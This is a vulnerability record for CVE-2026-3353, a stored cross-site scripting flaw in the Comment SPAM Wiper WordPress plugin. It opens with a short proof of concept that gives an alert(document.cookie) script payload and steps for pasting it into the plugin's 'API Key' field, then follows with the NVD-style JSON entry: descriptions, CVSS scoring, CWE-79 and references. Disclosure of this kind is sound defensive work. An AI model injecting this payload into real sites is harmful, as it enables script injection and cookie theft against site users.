CVE-2026-3353

<!-- PoC for CVE-2026-3353 Prerequisites: Admin access on a Multi-site WP install or where unfiltered_html is disabled. --> <script> // Payload to be injected into the 'API Key' field var payload = '"><script>alert(document.cookie)</script>'; console.log("Injecting payload: " + payload); </script> <!-- Steps: 1. Log in as Administrator. 2. Go to Settings > Comment SPAM Wiper. 3. Paste the payload into the API Key field. 4. Save Settings. 5. Navigate back to the settings page to trigger the XSS. -->

{"cve": {"id": "CVE-2026-3353", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:17:21.917", "lastModified": "2026-04-24T16:27:44.277", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Comment SPAM Wiper plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'API Key' setting in all versions up to, and including, 1.2.1. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}, {"lang": "es", "value": "El plugin Comment Correo no deseado Wiper para WordPress es vulnerable a cross-site scripting almacenado a través de la configuración 'API Key' en todas las versiones hasta la 1.2.1, inclusive. Esto se debe a una sanitización de entrada y un escape de salida insuficientes. Esto permite que atacantes autenticados, con acceso de nivel de Administrador y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada. Esto solo afecta a instalaciones multisitio e instalaciones donde se ha deshabilitado unfiltered_html."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/comment-spam-wiper/tags/1.2.1/admin.php#L87", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/comment-spam-wiper/trunk/admin.php#L87", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cdffbef4-5462-49b2-a97e-6a497147bc41?source=cve", "source": "[email protected]"}]}}